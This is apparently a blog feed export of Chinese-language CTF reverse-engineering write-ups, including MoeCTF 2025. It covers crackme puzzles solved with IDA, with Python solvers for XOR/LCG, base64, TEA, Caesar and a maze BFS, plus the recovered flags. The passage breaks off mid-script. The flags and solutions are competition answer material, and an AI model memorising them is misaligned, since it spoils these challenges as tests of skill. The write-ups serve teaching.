    for i in range(1,31): r[i]=(16807*(r[i-1]&amp;amp;0xffffffff))%MOD31; r[i]+=MOD31 if r[i]&amp;lt;0 else 0
    for i in range(31,34): r[i]=r[i-31]
    for i in range(34,344): r[i]=(r[i-3]+r[i-31])&amp;amp;0xffffffff
    n=344
    while True:
        x=(r[(n-3)%344]+r[(n-31)%344])&amp;amp;0xffffffff; r[n%344]=x; n+=1
        yield (x&amp;gt;&amp;gt;1)&amp;amp;0x7fffffff

def solve(y):
    rng=glibc_rand(SEED)
    swaps=[(next(rng)%N, next(rng)%N) for _ in range(256)]
    z=bytearray(y)
    for i in range(N): z[i]^=next(rng)&amp;amp;0xFF
    for p,q in reversed(swaps): z[p],z[q]=z[q],z[p]
    return bytes(z)

print(solve(Y).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{there_1s_s0_many_rand}&lt;/p&gt;
&lt;h1&gt;6.PlzdebugMe&lt;/h1&gt;
&lt;p&gt;IDA打开，shift+F12查看字段串，在sub_401697&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-164.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开flag长度是32，会先进行格式检验，然后对输入进行加密，最后比对&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-165.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最重要的有三个数组&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;随机状态 ： dword_415080 @ 0x415080 （LCG 状态，每步更新一次）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;目标数组 ： byte_410020 @ 0x410020 （32 字节，被用来和变换后的输入对比）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输入缓冲 ： byte_415060 @ 0x415060 （你输入的原文存放处）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最主要的是我们每次的dword的值每次会变&lt;/p&gt;
&lt;p&gt;种子设置：sub_401656函数，写入dword_415080&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-166.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;迭代：sub_415080函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-167.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们动态调试去拿dword_415080的初始值&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-168.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我通过输入一个长度为32的字符串flag{AAAAAAAAAAAAAAAAAAAAAAAAAA}&lt;/p&gt;
&lt;p&gt;dword_415080的初始值&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-169.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有了初始值，我们就可以按照sub_41656的逻辑计算每次异或的dword_415080&lt;/p&gt;
&lt;p&gt;比对的密文值byte_410020&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data:00410020 byte_410020 db 5Bh, 50h, 0A1h, 25h, 84h, 8Eh, 61h, 0C4h, 6Bh, 0BBh, 0AEh, 5, 0Bh, 0C6h
.data:00410020                                         ; DATA XREF: sub_401697+E8↑o
.data:0041002E db 3Dh, 42h, 5Ah, 0FBh, 0C1h, 0C9h, 4Eh, 0E9h, 8Dh, 50h, 91h, 87h, 87h
.data:0041003B db 24h, 0ADh, 0AFh, 0D5h, 36h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def recover_flag():
    arr = [
        0x5B, 0x50, 0xA1, 0x25, 0x84, 0x8E, 0x61, 0xC4,
        0x6B, 0xBB, 0xAE, 0x05, 0x0B, 0xC6, 0x3D, 0x42,
        0x5A, 0xFB, 0xC1, 0xC9, 0x4E, 0xE9, 0x8D, 0x50,
        0x91, 0x87, 0x87, 0x24, 0xAD, 0xAF, 0xD5, 0x36,
    ]
    state = 123456
    out = []
    for b in arr:
        state = (1103515245 * state + 12345) &amp;amp; 0xFFFFFFFF
        key = ((state &amp;gt;&amp;gt; 16) &amp;amp; 0xFF)
        out.append(b ^ key)
    return &apos;&apos;.join(map(chr, out))

if __name__ == &quot;__main__&quot;:
    print(recover_flag())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Y0u_Kn0w_H0w_t0_D3bug!!!!!}&lt;/p&gt;
</content:encoded></item><item><title>MoeCTF 2025 re</title><link>https://blog-5w0.pages.dev/posts/moectf-2025-re/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/moectf-2025-re/</guid><description>MoeCTF 2025 Reverse WriteUp</description><pubDate>Sat, 05 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;02 逆向工程入门指北&lt;/h1&gt;
&lt;p&gt;文件提示：&lt;/p&gt;
&lt;p&gt;&amp;lt;font style=&quot;color:rgb(0,0,0);&quot;&amp;gt;现在，用 IDA 打开本题的附件，开始我们的第一个挑战吧！ &amp;lt;/font&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;font style=&quot;color:rgb(0,0,0);&quot;&amp;gt;P.S. 附件使用C++编写，有很多正常人看不懂的东西，不过或许 shift+F12 能帮到你？&amp;lt;/font&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：ME TO MOECTF 2025!\N 00000019 WELCOME RODATA: LET&apos;S PLAY A GAME!\N 00000014 TRODATA: S IT 10 TIMES.\N I HAVE A SECRET NUMBER BETWEEN O AND 99, AND YOU CAN GUESS 00000049 .RODATA: IF YOU SUCCESSLY GUESSED IT, I WILL GIVE YOU THE FLAG! 00000037 .RODATA: PLEASE INPUT YOUR NUMBER: 0000001B C RODATA: INVALID INPUT 0000000E .RODATA:  YOU ARE RIGHT!\N C 00000010 .RODATA: THE FLAG IS MOECTF(OPEN_YOUR_IDA_AND_START_REVERSE_ENGINEERING!!]. 00000043 C .RODATA: THAT&apos;S NOT RIGHT... C 00000014 .RODATA: THANKS FOR YOUR PLAYING! C 00000019 .RODATA: BASIC_STRING::_M_CONSTRUCT NULL NOT VALID 0000002A .RODATA: C 0000001E TERMINATE CALLED RECURSIVELY\N C .RODATA: 0000000C C WHAT() --&amp;gt;
&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;moectf{open_your_IDA_and_start_reverse_engineering!!}&lt;/p&gt;
&lt;h1&gt;03 base&lt;/h1&gt;
&lt;p&gt;IDA打开，找到main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：_FASTCALL MAIN(INT INT ARGC, CONST CHAR **ARGV, CONST CHAR **ENVP) FILE &lt;em&gt;V3; // RAX _INT64 V4;// RDX _INT64 V5;// RAX UNSIGNED__INT64 V6;// RAX CHAR&lt;/em&gt;V7;//RBX INT V8;// EAX CHAR *V9;// RCX CHAR V11[16]; // [RSP+20H] [RBP-98H] BYREF CHAR BUFFER[112]; // [RSP+30H] BYREF [RBP-88H] SUB_140001010(FORMAT); SUB_140001010((CHAR *)&amp;amp;BYTE_1400032F0); V3 三 _ACRT_IOB_FUNC(0); FGETS(BUFFER, 100, V3); 三 -1LL; V4 -1LL; V5 三 OP ++V5; WHILE ( BUFFER[V5] ); IF ( V5 &amp;amp;&amp;amp; V11[V5 + 15] 三 10 ) 丁 V6 三 V5 - 1; IF ( V6 &amp;gt; 0X64 SUB_140001448(BUFFER); BUFFER[V6] O; OP ++V4; WHILE ( BUFFER[V4] ); V7 - (CHAR *)SUB_140001070(BUFFER, V4, V11); &quot;BW91Y3RME1KWDV9DNG5FRZAWZF9BDF9CNDVINJQHIXO-&quot;); V8 - STRCMP(V7, V9 : (CHAR )&amp;amp;UNK_140003300; IF ( V8 )&amp;amp;BYTE_140003318; V9 - (CHAR B_140001010(V9); _QNS FREE(V7); RETURN O; --&amp;gt;
&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看sub_140001070函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：*A3 V6: CFADD (V6, 1LL); V7 三 V82V6 IF ( V7 V8 -1LL;  RESULT : MALLOC(V8); V10 RESULT; IF ( RESULT IF ( A2 V11 - (UNSIGNED __INT8 *)(A1 + 2); V12 2 RESULT; V13 三 (A2 - 1) / 3 + 1; OP 1 _INT64)&amp;amp;V11[~A1] &amp;gt;: A2 ) IF ( (UNSIGNED V14 三 0; ELSE  V14 三 *(V11 - 1); IF ( (UNSIGNED __INT64)&amp;amp;V11[-A1] &amp;gt;; A2 ) V15 ELSE *V11; V15 *(V11 2); V16 V11 +: 3; _INT64)V16 &amp;gt;&amp;gt; 2]; *V12 - AABCDEFGHIJKLMN[(UNSIGNED &amp;gt;&amp;gt; 4)) &amp;amp; OX3F]; _INT8)(16 * V16) | (V14 &amp;gt;&amp;gt; 4) V12[1] - AABCDEFGHIJKLMN[(UNSIGNED _INT8)(4 * V14)) &amp;amp; 0X3F]; | (UNSIGNED V12[2] - AABCDEFGHIJKLMN[(V15 ; AABCDEFGHIJKLMN[V15 &amp;amp; OX3F]; V12[3] V12 +三 4;; - V13; WHILE ( V13 ); 子 V17  A2%3; IF ( V17 ) V17; V18 IF ( V17 !: 3 ) V19 - &amp;amp;RESULT[*A3 - 1 - V18]; LOBYTE(V18) ; 61;  MEMSET(V19 + 1, V18, 3 - V17); V10[*A3] : 0; RETURN V10; RETURN RESULT; --&amp;gt;
&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是一个 完全遵循Base64编码的标准算法流程&lt;/p&gt;
&lt;p&gt;使用strcmp函数，将 sub_140001070 返回的字符串v7与一个硬编码的字符串**&quot;bW9lY3Rme1kwdV9DNG5fRzAwZF9BdF9CNDVlNjQhIX0=&quot;**进行比较。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：BASE64在线编码解码 (最好用的BASE64在线工具) BASE64.US MD5 1 TIMESTAMP URLENCODE BASE64 请输入要进行BASE64编码或解码的字符 BW9IY3RME1KWDV9DNG5FRZAWZF9BDF9CNDVINIQHIXO三 编码(ENCODE) (编/解码快捷键: 解码(DECODE) ?交换 CTRL ENTER BASE64编码或解码的结果: 编码后自动全选 MOECTFLYOU_C4N_G00D_AT_B45E64!!Y --&amp;gt;
&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;moectf{Y0u_C4n_G00d_At_B45e64!!}&lt;/p&gt;
&lt;h1&gt;10 A cup of tea&lt;/h1&gt;
&lt;p&gt;搜索main函数无果，shift6+F12搜索字符串&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：ADDRESS LENGTH TYPE STRING C ARGLIST ,RDATA:0. 00000009 C RDATA:0.. _ARGLIST 60000009 C .RDATA:0. 0000000A PLAINTEXT 0000000A C .RDATA:0. ENCRYPTED C BLOCK 00000006 .RDATA:0.. CONGRATULATIONS!!!! C 00000014 .RDATA:0.. C YOU ARE WRONG .RDATA:0. 00000010  STACK AROUND THE VARIABLE 0000001C C .RDATA:0.. C 00000011 RDATA:0.. WAS CORRUPTED. C 0000000F THE VARIABLE .RDATA:0.. IS BEING USED WITHOUT BEING INITIALIZED. C 0000002B .RDATA:0 C THE VALUE OF ESP RAS AOT PROPERJY SARED ACROSS A FUNCTION CALL. THIS IS USTALLY A RESULT OF CALLING A 000000DD .RDATA:0. 0000011D C A CAST T A CAST TO A SMALLER DATE TYPE HAS CAUSED  MAST THE DATR. IF THIS NAS INTENTIONAL. YOU STOULD THE SOUR RDATA:0 STACK MEMORY WAS CORRUPTED\R\N C 0000001D .RDATA:0... L VARIABLE WAS USED BEFORE IT WAS INITIALIZED\R\N C 00000036 LOCAL RDATA:0 --&amp;gt;
&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们看到主函数在sub_1400162E0里，继续点击&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： FOR ( I : 130LL; I; --I ) &lt;em&gt;(_DWORD&lt;/em&gt;)V0 三 -858993460; V0+三4; SUB_140011384(&amp;amp;UNK_140023015); V5[0] 289739801; V5[1] - 427884820; V5[2] 三 1363251608; V5[3] 269567252; V6[O] 2026214571; V6[1] 三 578894681; V6[2] 1193947460; V6[3] 三 229306230; V6[4] 三 73202484; V6[5] 三 961145356; V6[6]三 881456792; V6[7] 358205817; V6[8] 三5554069347; V6[9] : 1 119347883; V6[10]三0; MEMSET(V7,0, OX2CULL); MEMSET(V8,0, OX2CULL); SUB_1400111A4(&amp;amp;UNK_14001AED0); _1400113ED(&amp;amp;UNK_14001AEE4, STR); SUB J_STRLEN(STR); SIZE J_MEMCPY(V7, STR, SIZE); FOR(J-0;J&amp;lt;5;+++++J) V12 - V7[2 * J]; 13 三 V7[2 * J + 1]; V13 SUB_14001109B(&amp;amp;V12, V5); V8[2 * J] 三 V12; *1. J + 1] - V13; V8[2 V14 ; 1; FOR ( K 三 0; K &amp;lt; 11;++K )  IF ( V8[K] ! V6[K] ) V14 0; SUB_1400111A4(&quot;YOU ARE WRONG!!&quot;); BREAK; 了 IF ( V14 -: 1 ) SUB_1400111A4(&quot;CONGRATULATIONS!!!!&quot;); SUB_140011320(V3, &amp;amp;UNK_14001AE60); RETURN OLL; --&amp;gt;
&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;v5是密钥，v6是数组，加密逻辑在sub_14001109B里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：TACAI NEX FASTCALL SUB_1400117EO(UNSIGNED INT *A1, DWORD *A2) INT64 :64 RESULT; // RAX INT64 INT V3; // [RSP+24H] [RBP+4H] [RBP+24H] UNSIGNED INT V4; // [RSP+44H] D INT V5;// [RBP+44H] UNSIGNED [RSP+64H] INT I; // [RSP+A4H] [RBP+84H] SUB_140011384(&amp;amp;UNK_140023015); V3 0; V4 三 *AL; V5 ; A1[1]; FOR ( I :0; I &amp;lt; 32; ++I ) } V3 +: 1131796; V5) A (*A2 + 16 * V5); (V3 + + (A2[1] + (V5 &amp;gt;&amp;gt; 5)) V4 - 16 * V4); V5 +三 (A2[3] + (V4 &amp;gt;&amp;gt; 5)) V4) (V3 (A2[2] Y *. *A1 三 V4; RESULT 三 4LL; A1[1] ; V5; RETURN RESULT; --&amp;gt;
&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;每一轮使用 &lt;code&gt;delta&lt;/code&gt;（这里是 &lt;code&gt;1131796&lt;/code&gt;）和 key 进行混淆  ，逆解密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from typing import List, Tuple

DELTA = 1131796  # 0x114514 as seen in the binary (decimal 1131796)

def u32(x: int) -&amp;gt; int:
    return x &amp;amp; 0xFFFFFFFF

def tea_decrypt_block(v0: int, v1: int, k: List[int], rounds: int = 32) -&amp;gt; Tuple[int, int]:
    v0 = u32(v0)
    v1 = u32(v1)
    k = [u32(x) for x in k]
    sum_ = u32(DELTA * rounds)
    for _ in range(rounds):
        v1 = u32(v1 - (((v0 &amp;gt;&amp;gt; 5) + k[3]) ^ (sum_ + v0) ^ ((v0 &amp;lt;&amp;lt; 4) + k[2])))
        v0 = u32(v0 - (((v1 &amp;gt;&amp;gt; 5) + k[1]) ^ (sum_ + v1) ^ ((v1 &amp;lt;&amp;lt; 4) + k[0])))
        sum_ = u32(sum_ - DELTA)
    return v0, v1

def tea_encrypt_block(v0: int, v1: int, k: List[int], rounds: int = 32) -&amp;gt; Tuple[int, int]:
    v0 = u32(v0)
    v1 = u32(v1)
    k = [u32(x) for x in k]
    sum_ = 0
    for _ in range(rounds):
        sum_ = u32(sum_ + DELTA)
        v0 = u32(v0 + (((v1 &amp;gt;&amp;gt; 5) + k[1]) ^ (sum_ + v1) ^ ((v1 &amp;lt;&amp;lt; 4) + k[0])))
        v1 = u32(v1 + (((v0 &amp;gt;&amp;gt; 5) + k[3]) ^ (sum_ + v0) ^ ((v0 &amp;lt;&amp;lt; 4) + k[2])))
    return v0, v1

def words_to_bytes_le(words: List[int]) -&amp;gt; bytes:
    return b&quot;&quot;.join(w.to_bytes(4, &quot;little&quot;) for w in words)

def main():
    key = [289739801, 427884820, 1363251608, 269567252]
    v6 = [
        2026214571,
        578894681,
        1193947460,
        -229306230,
        73202484,
        961145356,
        -881456792,
        358205817,
        -554069347,
        119347883,
        0,
    ]
    v6_u = [u32(x) for x in v6]
    ciphertext_words = v6_u[:10]
    plaintext_words = []
    for i in range(0, len(ciphertext_words), 2):
        p0, p1 = tea_decrypt_block(ciphertext_words[i], ciphertext_words[i+1], key)
        plaintext_words.extend([p0, p1])
    pt_bytes = words_to_bytes_le(plaintext_words)
    flag = pt_bytes.split(b&quot;\x00&quot;, 1)[0].decode(&apos;utf-8&apos;, errors=&apos;replace&apos;)
    print(&quot;Recovered flag string:&quot;, flag)

    re_cipher_words = []
    for i in range(0, len(plaintext_words), 2):
        c0, c1 = tea_encrypt_block(plaintext_words[i], plaintext_words[i+1], key)
        re_cipher_words.extend([c0, c1])
    print(&quot;Verification success?&quot;, re_cipher_words == ciphertext_words)

if __name__ == &apos;__main__&apos;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{h3r3_4_cuP_0f_734_f0R_y0U!!!!!!}&lt;/p&gt;
&lt;h1&gt;11 ezpy&lt;/h1&gt;
&lt;p&gt;简单的pyc逆向&lt;/p&gt;
&lt;p&gt;通过命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uncompyle6 ezpy.pyc &amp;gt;ezpy.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：(.VENV) PS C:\USERS\35159\PYCHARMPROJECTS\PYTHONPROJECT2&amp;gt; ( UNCOMPYLE6 EZPY. PYC &amp;gt;EZPY.PY --&amp;gt;
&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到生成了ezpy.py&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：EZPY.PYC EZPY.PY --&amp;gt;
&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开ezpy.py文件&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：F UNCOMPYLE6 VERSION 3.9.2 # PYTHON BYTECODE VERSION BASE 3.8.0(3413) # DECOMPILED FROM: PYTHON 3.8.10 (TAGS/V3.8.10:3D8993A, MAY 3 2021, 11:48:03) [MSC V1928 64 BIT (AMD64)] # EMBEDDED FILE NAME:EZPY.PY #COMPILED AT:2025-06-24 16:38:00 # SIZE OF SOURCE MOD 2**32:712 BYTES DEF CAESAR CIPHER ENCRYPT(TEXT,SHIFT): RESULT - FOR CHAR IN TEXT: IF CHAR.ISALPHAO: IF CHAR.ISLOWERO: NEW CHAR - CHR((ORD(CHAR) - ORD(&quot;A&quot;) + SHIFT) % 26 + ORD(&quot;A&quot;) ELSE: IF CHAR.ISUPPERO: W CHAR - CHR((ORD(CHAR) - ORD(&quot;A&quot;) + SHIFT) % 26 + ORD(&quot;A&quot;) NEW RESULT.APPEND(NEW CHAR) ELSE: RESULTAPPEND(CHAR) ELSE: RETURN &quot;&quot;JOIN(RESULT) USER INPUT - INPUT(&quot;PLEASE INPUT YOUR FLAG: &quot;) A 1 IFA!1: PLAINTEXTUSERINPUT SHIFT 114514 KT CAESAR CIPHER ENCRYPT(PLAINTEXT,SHIFT) ENCRYPTED TEXT IF ENCRYPTED TEXT - &quot;WYOMDPFLOE UXOG ZIM]&quot;: PRINT(&quot;CORRECT!!!!&quot;) # OKAY DECOMPILING EZPY.PYC --&amp;gt;
&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实际就是 shift = 10 的凯撒加密， 只要把目标字符串 只要把目标字符串 &quot;wyomdp{I0e_Ux0G_zim}&quot; 逆向 Caesar -10 就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def caesar_cipher_decrypt(text, shift):
    result = []
    for char in text:
        if char.isalpha():
            if char.islower():
                new_char = chr((ord(char) - ord(&quot;a&quot;) - shift) % 26 + ord(&quot;a&quot;))
            else:
                if char.isupper():
                    new_char = chr((ord(char) - ord(&quot;A&quot;) - shift) % 26 + ord(&quot;A&quot;))
            result.append(new_char)
        else:
            result.append(char)
    return &quot;&quot;.join(result)


if __name__ == &quot;__main__&quot;:
    encrypted = &quot;wyomdp{I0e_Ux0G_zim}&quot;
    shift = 114514 % 26  # 实际等效移位量 = 10
    flag = caesar_cipher_decrypt(encrypted, shift)
    print(&quot;解密结果:&quot;, flag)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{Y0u_Kn0W_pyc}&lt;/p&gt;
&lt;h1&gt;13 mazegame&lt;/h1&gt;
&lt;p&gt;IDA打开，定位到主函数，是一个迷宫， 需要找到从起始点 &lt;code&gt;**(1, 1)**&lt;/code&gt; 到终点 &lt;code&gt;**(32, 15)**&lt;/code&gt; 的一条有效路径&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：1LL; WHILE SWITCH ( V12[V5] ) 子 &apos;A&apos;: CASE CASE --V4; -V8;; --V9; BREAK; CASE D&apos; CASE &apos;D&apos;: ++V4; ++V8; ++V9; BREAK; &apos;S&apos; CASE &apos;S CASE ++V6; ++V7; BREAK; CASE &apos;W&apos;: CASE &apos;W&apos;: --V6J - V7; BREAK; DEFAULT: SUB_140001020((CHAR *)&amp;amp;BYTE_1400040CO); SUB_140001020((CHAR &lt;em&gt;)&amp;amp;BYTE_140004210); GOTO LABEL_2; IF ( V7 &amp;gt; 0X37 || V9 &amp;gt; 0X37 ) :(CHAR&lt;/em&gt;)&amp;amp;UNK_1400040D8; V10 GOTO LABEL_20; IF ( BYTE_140005660[56 * V7 + V8] 三 49 ) V10 (CHAR *)&amp;amp;UNK_1400040F8; GOTO LABEL_20; IF ( V7 - 15 &amp;amp;&amp;amp; V8 32 ) BREAK; IF ( ++V5 &amp;gt;: (INT)V3 ) GOTO LABEL_19; SUB_140001020(ASC_1400041E0); SUB_140001020(&quot;MOECTF{%S}\N&quot;); RETURN O; --&amp;gt;
&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;迷宫地图在sub_1400010E0函数里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：:&quot;1010000000000000001000001101110101111111111101011100000111&quot;; V9[1] VE ; &quot;111111111111111111111111111111111111111111111111111111111&quot; V9[0] - &quot;111 1111111111111111111&quot;; V9[2] - &quot;101110101111111110101011100000010000000000001000101111011&quot;; &quot;100000100000010000100010110111111111101110111011101110111&quot;; V9[3] 三 &quot;101111111110111011101110110101000000000010101000111000111&quot;; V9[4] &quot;10100000001000101000100011010101011111110111011101010111011&quot;; V9[5] V9[6] &quot;1010101011111101110111010110101010000010000000001010111011&quot;; 三 V9{7] - &quot;1010101000001010000010101011101011101011111111111111111011&quot;; &quot;101110101110101011111010101110010100000000101010101110111&quot;; V9[8] [9]6] &quot;1000001000101000100000010110011111111101010101011101110111&quot; V9[10] &quot;11111011101011111011111111101000100000101100101010011101111&quot; 川 &quot;100010100010001000100000010001010011000100100100100110000001&quot; V9[11] 三 &quot;10111010111110101010111011011001010111101010101011101011101&quot; V9[12] &quot;100010100010000010101010110001010100000000010101010101011101&apos; V9[13] V9[14] &quot;11101011101111111101110101111010111011111111101110101011101&quot; 三 &quot;100010000101000010100010110001000101010000010100101010111101&quot;: V9[15] &quot;10111111101011101110111011011111111010111011101110111011101&quot; V9[16] &quot;10G V9[17] 100010000001000000000000100000000000010000000000001011001&quot; V9[18] &quot;11101011111011111111101010111010101111011111111110101011011&quot; V9[19] &quot;T0101000000000100100101011010101000000010010010101011011011&quot; &quot;101011111111110101010101011010111111111101010101010101011011&quot; V9[20] &quot;T01000000000000100010101101101000000000010001010101011011&quot; V9[21] &quot;1011111111111111111011101101111111111111111111011101011011&quot;&quot; V9[22] &quot;10000000000111000000000000111101010100011110001111111011011&quot;; V9[23] &quot;1110111110000001101101111111101011011101110110110001011011&quot;; V9[24] &quot;1110111111111111101101111111111101110111101101100001011011&quot;; V9[25] &quot;1000100011111100001000000111110101110111011101100001011011011&quot;; V9[26] &quot;1011101010111111101011101111011101010001111011000001010011&quot; V9[27] &quot;1000000100000100001000101011111111111111111101100001010101011&quot; V9[28] &quot;10111111111011101110111011110001000110001101101100001010001&quot; V9[29] V9[30] &quot;10100000001000101000100011110111011101111110110000101011101 V9[31] &quot;101010111111101110111010101110001000101111101100000101011101&quot; V9[32] &quot;1010101000000101000001010111111010111011111101100000101011101&quot; &quot;10111010111010101011101010111000100011000110110000101011101&quot; V9[33] V9[34] &quot;100000100010101010000001011111111111111111110110000101011101&quot; &quot;11111011101010111101111110000000000000000110110000001011101&quot; V9[35] &quot;100010100010001000100000011111111111111111100110011011101&quot; V9[36] 三 &quot;1011101011111010101010101001000000000111111100011111011101&quot; V9[37] 三 V9[38] &quot;100010100010000010100010101101110000001111110100101010101&quot; V9[39] - &quot;111010111011111110111010001100110011111111100110111011101&quot;; 三 11 D] - &quot;1000100010100000101000101011111111111111111111110111010001&quot;; V9[40] V1 - (CONST CHAR **)V9; V9(55] - &quot;11111111111111111111111111111111111111111111111111111111111&quot;; --&amp;gt;
&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提取出，并按顺序排好&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;11111111111111111111111111111111111111111111111111111111
10100000000000000010000011011101011111111101011100000111
10111010111111111010111011000001000001000001000101110111
10000010000010000010001011011111111101110111011101110111
10111111111011101110111011010000000000010100010001110111
10100000001000101000100011010101111111011101110101110111
10101011111110111011101011010101000001000000010101110111
10101010000010100000101011110101110101111101111111110111
10111010111010101111101011100101000100000101000101110111
10000010001010001000001011001111011111010101011101110111
11111011101011111011111111101000100000101100101001110111
10001010001000100010000010001010011000100010010011000001
10111010111110101010111011011001011111010101011101011101
10001010001000001010001011000101000100000101000101011101
11101011101111111011101011110101110111111101110101011101
10001000101000001010001011000100010100000101000101011101
10111111101011101110111011011111110101110111011101011101
10001000001000100000001011000100000100010000000101011001
11101011111011111111101011110101111101111111110101011011
10101000000010001000101011010100000001000100010101011011
10101111111110101010101011010111111111010101010101011011
10100000000000100010101011010000000000010001010101011011
10111111111111111110111011011111111111111111011101011011
10000000001111000000000011110111010000111100011111011011
11101111100000011011011111111010110111011101100001011011
11101111111111111011011111111101110111101101100001011011
10001000111111000010000011111010110111011101100001011011
10111010111111111010111011110111010000111101100001010011
10000010000010000010001011111111111111111101100001010111
10111111111011101110111011110001000110001101100001010001
10100000001000101000100011110111011101111101100001011101
10101011111110111011101011110001000101111101100001011101
10101010000010100000101011111101011101111101100001011101
10111010111010101111101011110001000110001101100001011101
10000010001010101000001011111111111111111101100001011101
11111011101011111011111110000000000000001101100001011101
10001010001000100010000011111111111111111100110011011101
10111010111110101010111010010000000011111110001111011101
10001010001000001010001010110111000001111110100101011101
11101011101111111011101000110011001111111100110111011101
10001000101000001010001011111111111111111111110111010001
10111111101011101110111010100001001100000000000011011011
10001000001000100000001011111111111101011101111001011011
10101011111011111111101011000000000001000100010111011011
10101000000010001000101010010111111111111111111111011011
10101111111110101010101010110111111111111111111101011011
10100000000000100010101011100000000000000000000011011011
10111111111111111110011011111111111111111111111011011011
10000011111111111111000010000000000000000000000000011001
11111011111111111111111111111111111111111111111111111101
11111011100001100110110111000000000000000000000111111101
11111011101111011010000111011111111111111111110111111101
11111011100001000010110110000111111111111111110000000001
11111011101111011010110111101111111111111111111111111111
11110000000000011000110000000000000000000000000000000011
11111111111111111111111111111111111111111111111111111111
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用BFS算法寻路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from collections import deque

def find_maze_path(maze, start, end):
    # maze: 56x56的迷宫地图（&apos;0&apos;和&apos;1&apos;的二维列表）
    # start: 起点坐标 (x, y)
    # end: 终点坐标 (x, y)

    rows = len(maze)
    cols = len(maze[0])

    # 移动方向：上、下、左、右
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)] # (dx, dy) 

    # 队列用于BFS
    queue = deque([start])

    # 集合用于记录已访问的节点
    visited = {start}

    # 字典用于回溯路径
    parent = {start: None}

    while queue:
        current_x, current_y = queue.popleft()
        current_node = (current_x, current_y)

        # 检查是否到达终点
        if current_node == end:
            return reconstruct_path(parent, start, end)

        # 探索所有可能的移动方向
        for dx, dy in directions:
            next_x, next_y = current_x + dx, current_y + dy
